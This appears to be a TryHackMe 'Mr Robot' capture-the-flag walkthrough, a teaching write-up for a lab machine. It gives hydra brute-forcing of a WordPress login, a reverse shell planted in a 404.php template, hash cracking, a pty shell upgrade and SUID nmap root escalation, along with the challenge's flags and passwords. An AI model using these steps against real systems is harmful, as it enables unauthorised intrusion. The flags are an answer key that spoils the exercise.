đŸš©
THM Walkthroughs
  • THM Walkthroughs
    • đŸ§‘â€đŸ«Tutorial
  • 🟩Difficulty: Info
    • 🔌What is Networking?
    • 🔌Intro to LAN
    • 🐧Linux Fundamentals
      • 🐧Linux Fundamentals Part 1
        • Task 2 - A Bit of Background on Linux
        • Task 4 - Running Your First few Commands
        • Task 5 - Interacting With the Filesystem!
        • Task 6 - Searching for Files
        • Task 7 - An Introduction to Shell Operators
      • 🐧Linux Fundamentals Part 2
        • Task 3 - Introduction to Flags and Switches
        • Task 4 - Filesystem Interaction Continued
        • Task 5 - Permissions 101
        • Task 6 - Common Directories
      • 🐧Linux Fundamentals Part 3
        • Task 3 - Terminal Text Editors
        • Task 4 - General/Useful Utilities
        • Task 5 - Processes 101
        • Task 6 - Maintaining Your System: Automation
        • Task 8 - Maintaining Your System: Logs
    • đŸȘŸWindows Fundamentals
      • đŸȘŸWindows Fundamentals 1
      • đŸȘŸWindows Fundamentals 2
      • đŸȘŸWindows Fundamentals 3
    • 🔓Principles of Security
    • 🐍Python Basics
    • 🔍History of Malware
    • đŸŠčCommon Attacks
    • đŸ–„ïžSecurity Awareness
    • ⚔Intro to Offensive Security
    • đŸŠčPentesting Fundamentals
    • 🔓CVE Walkthroughs
      • đŸ–„ïžSudo Security Bypass: CVE-2019-14287
      • đŸ–„ïžSudo Buffer Overflow: CVE-2019-18634
      • đŸ–„ïžBaron Samedit: CVE-2021-3156
      • đŸ–„ïžOverlayFS: CVE-2021-3493
      • đŸ–„ïžPolkit: CVE-2021-3560
      • đŸ–„ïžPwnkit: CVE-2021-4034
      • đŸȘ¶Apache HTTP Server Path Traversal: CVE-2021-41773/42013
      • đŸ§»Dirty Pipe: CVE-2022-0847
      • 🟱Spring4Shell: CVE-2022-22965
    • 🟧Burp Suite
      • 🟧Burp Suite: The Basics
      • 🟧Burp Suite: Repeater
    • 🏁Challenges
      • ‎Bypass Disable Functions
    • đŸŽŸïžTHM PROMOs
      • đŸŽŸïžLearn and win prizes [PROMO ENDED]
      • đŸŽŸïžLearn and win prizes #2 [PROMO ENDED]
  • đŸŸ©Difficulty: Easy
    • 🚀Learning Cyber Security
    • 🔁The Hacker Methodology
    • 🔍Google Dorking
      • Task 2 - Let's Learn About Crawlers
      • Task 4 - Beepboop - Robots.txt
      • Task 5 - Sitemaps
      • Task 6 - What is Google Dorking?
    • 🐝OWASP Top 10
      • Task 5 - Command Injection Practical
      • Task 7 - Broken Authentication Practical
      • Task 11 - Sensitive Data Exposure (Challenge)
      • Task 13 - XML External Entity - eXtensible Markup Language
      • Task 14 - XML External Entity - DTD
      • Task 16 - XML External Entity - Exploiting
      • Task 18 - Broken Access Control (IDOR Challenge)
      • Task 19 - Security Misconfiguration
      • Task 20 - Cross-site Scripting
      • Task 21 - Insecure Deserialization
      • Task 24 - Insecure Deserialization - Cookies
      • Task 25 - Insecure Deserialization - Cookies Practical
      • Task 30 - Insufficient Logging and Monitoring
    • 📡Nmap
      • Task 2 - Introduction
      • Task 3 - Nmap Switches
      • Task 5 - TCP Connect Scans
      • Task 6 - Scan Types SYN Scans
      • Task 7 - UDP Scans
      • Task 8 - NULL, FIN and Xmas
      • Task 9 - ICMP Network Scanning
      • Task 10 - NSE Scripts Overview
      • Task 11 - Working with the NSE
      • Task 12 - Searching for Scripts
      • Task 13 - Firewall Evasion
      • Task 14 - Practical
    • 📡RustScan
      • Task 2 - Installing RustScan
      • Task 5 - Extensible
      • Task 7 - Scanning Time!
      • Task 8 - RustScan Quiz
    • 🐙Crack the hash
    • 🌍OhSINT
    • 🧑‍🚀Vulnversity
    • 🧊Ice
    • đŸȘŸBlue
    • 🎄Advent of Cyber 4 (2022)
  • 🟹Difficulty: Medium
    • đŸȘŸAttacktive Directory
      • Task 3 - Welcome to Attacktive Directory
      • Task 4 - Enumerating Users via Kerberos
      • Task 5 - Abusing Kerberos
      • Task 6 - Back to the Basics
      • Task 7 - Elevating Privileges within the Domain
      • Task 8 - Flag Submission Panel
    • 💀Mr Robot CTF
    • 🛗Linux PrivEsc
    • 🛗Linux PrivEsc Arena [WIP]
    • 🛗Windows PrivEsc Arena
  • 🟧Difficulty: Hard
    • 🐘Hacking Hadoop [WIP]
  • đŸŸ„Difficulty: Insane
    • â›șYou're in a cave [WIP]
  • Blank Room (Duplicate Me)
Powered by GitBook
On this page
  • Video Walkthrough
  • Task 1 - Connect to our network
  • Go to your access page and download your configuration file.
  • Use an OpenVPN client to connect. In my example I am on Linux, on the access page we have a windows tutorial.
  • You are now ready to use our machines on our network!
  • Now when you deploy material, you will see an internal IP address of your Virtual Machine.
  • Task 2 - Hack the machine
  • What is key 1?
  • What is key 2?
  • What is key 3?
  1. Difficulty: Medium

Mr Robot CTF

Based on the Mr. Robot show, can you root this box?

PreviousTask 8 - Flag Submission PanelNextLinux PrivEsc

Last updated 2 years ago

Room Attributes
Value

Subscription Required

False [Free]

Type

Challenges (CTF)

Difficulty

Medium

Tags

MrRobot, Root, Beginner

Video Walkthrough

Task 1 - Connect to our network

No answer needed

Use an OpenVPN client to connect. In my example I am on Linux, on the access page we have a windows tutorial.

No answer needed

You are now ready to use our machines on our network!

No answer needed

Now when you deploy material, you will see an internal IP address of your Virtual Machine.

No answer needed

Task 2 - Hack the machine

What is key 1?

rustscan -b 1500 -a TARGET_IP --range 1-1000
PORT STATE SERVICE REASON 
80/tcp open http syn-ack
443/tcp open https syn-ack

HINT: Robots

  • fsocity.dic

  • key-1-of-3.txt

key-1-of-3.txt contains the first flag:

What is key 2?

Next run dirb, dirbuster, or gobuster against the target to find some interesting URLs:

gobuster dir -u http://TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt
/.hta (Status: 403) [Size: 213]
/.htaccess (Status: 403) [Size: 218]
/.htpasswd (Status: 403) [Size: 218]
/0 (Status: 301) [Size: 0] [--> http://10.10.121.252/0/]
/admin (Status: 301) [Size: 235] [--> http://10.10.121.252/admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.121.252/feed/atom/]
/audio (Status: 301) [Size: 235] [--> http://10.10.121.252/audio/]
/blog (Status: 301) [Size: 234] [--> http://10.10.121.252/blog/]

/0 opened a wordpress blog. Going to the login screen http://TARGET_IP/wp-login.php shows the wordpress login screen. Entering the username 'admin' and the password 'admin' presents an error message:

ERROR: Invalid username.

ERROR: The password you entered for the username elliot is incorrect.

Looking at fsocity.dic there are a number of duplicate entries so we can strip those out to optimise the wordlist:

sort fsocity.dic | uniq > fsocity-sorted.dic
hydra -l 'elliot' -P Documents/THM/mrrobot/fsocity-sorted.dic TARGET_IP -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' -t 16

You should find the password around the 5000th attempt.

Elliot's Password

ER28-0652

HINT: White coloured font

Once logged into wordpress as an admin we can check out the image gallery. One image has white text in the background which reveals another username and also their password:

Start a netcat listener on your machine then open the 404.php page in a browser to trigger the reverse shell.

listening on [any] 4444 ... 
connect to [10.9.12.198] from (UNKNOWN) [10.10.121.252] 37394 
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 19:03:27 up 46 min, 0 users, load average: 0.05, 0.06, 0.13 
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 
uid=1(daemon) gid=1(daemon) groups=1(daemon) 
bash: cannot set terminal process group (1998): Inappropriate ioctl for device 
bash: no job control in this shell 
daemon@linux:/$

With a shell we can extract the md5 hash from password.raw-md5 from the daemon /home/robot/ directory:

daemon@linux:/$ cd /home/robot 
daemon@linux:/home/robot$ ls
key-2-of-3.txt 
password.raw-md5 
daemon@linux:/home/robot$ cat password.raw-md5 
robot:c3fcd3d76192e4007dfb496cca67e13b
Hash
Type
Result

c3fcd3d76192e4007dfb496cca67e13b

md5

(expand below)

robot User Password

abcdefghijklmnopqrstuvwxyz

Trying to cat key-2-of-3.txt we find that we don't have adequate permissions:

daemon@linux:/home/robot$ cat key-2-of-3.txt 
cat: key-2-of-3.txt: Permission denied

Trying to run su results in an error message saying we need to run it in a terminal

daemon@linux:/home/robot$ su robot
su: must be run from a terminal

To get past this we need to upgrade our shell to a TTY shell:

daemon@linux:/home/robot$ python -c 'import pty; pty.spawn("/bin/sh")'
$ su robot
Password: (expand above)
robot@linux:~$ cat key-2-of-3.txt
(reveal flag #2 below)

What is key 3?

HINT: nmap

The final flag is in the root directory so in order to reach that we need to privilege escalate our current shell. Searching the filesystem for files with the SUID bit set we find that nmap is installed and SUID is set:

robot@linux:~$ find / -perm /4000
/bin/ping 
/bin/umount 
/bin/mount 
/bin/ping6 
/bin/su 
find: /etc/ssl/private': Permission denied 
/usr/bin/passwd 
/usr/bin/newgrp 
/usr/bin/chsh 
/usr/bin/chfn 
/usr/bin/gpasswd 
/usr/bin/sudo 
/usr/local/bin/nmap 
/usr/lib/openssh/ssh-keysign 
/usr/lib/eject/dmcrypt-get-device 
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper 
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper 
/usr/lib/pt_chown

GTFOBins shows the steps to run nmap in interactive mode which you can abuse to run commands as root:

nmap --interactive
nmap> !sh
robot@linux:~$ nmap --interactive
nmap --interactive                                                                           
                                                                                             
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )                                      
Welcome to Interactive Mode -- press h <enter> for help                                      
nmap> !sh                                                                                    
!sh                                                                                          
#                                                                                            

With root shell we can access the root directory and obtain our final flag!

# cd /root
cd /root
# ls
ls
firstboot_done  key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
(reveal flag #3 below)

Go to your page and download your configuration file.

Running or against the target returns two open ports on port 80 and 443.

Checking the file shows two interesting files:

Reveal Flag

This page can be used to enumerate valid usernames as when providing the username 'elliot' () the error states the password is wrong:

We can then use , , or (slow) to brute force the password.

In order to turn our wordpress access into a shell we can edit the templates to add the reverse shell pointing to your tun0 IP address into the 404.php template file:

We can reverse the hash using :

Reveal Flag
Reveal Flag

073403c8a58a1f80d943455fb30724b9

822c73956184f694993bede3eb39f959

04787ddef27c3dee1ee161b21670b4e4

🟹
💀
đŸš©
đŸš©
đŸš©
đŸš©
đŸš©
đŸš©
access
nmap
rustscan
robots.txt
the main character's name in Mr. Robot
wpscan
hydra
burp suite intruder
PHP PenTestMonkey
crackstation
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
https://crackstation.net/
Logo
Spawning a TTY ShellNetSec
https://netsec.ws/?p=337
Logo
TryHackMe Mr Robot Official Walkthrough
Online - Reverse Shell Generator
https://www.revshells.com/
Logo
nmap | GTFOBins
https://gtfobins.github.io/gtfobins/nmap/
TryHackMe | Mr Robot CTFTryHackMe
https://tryhackme.com/room/mrrobot
Logo
Logo
robots.txt
hello friend
Adding reverse shell to the 404.php template file
PHP PenTestMonkey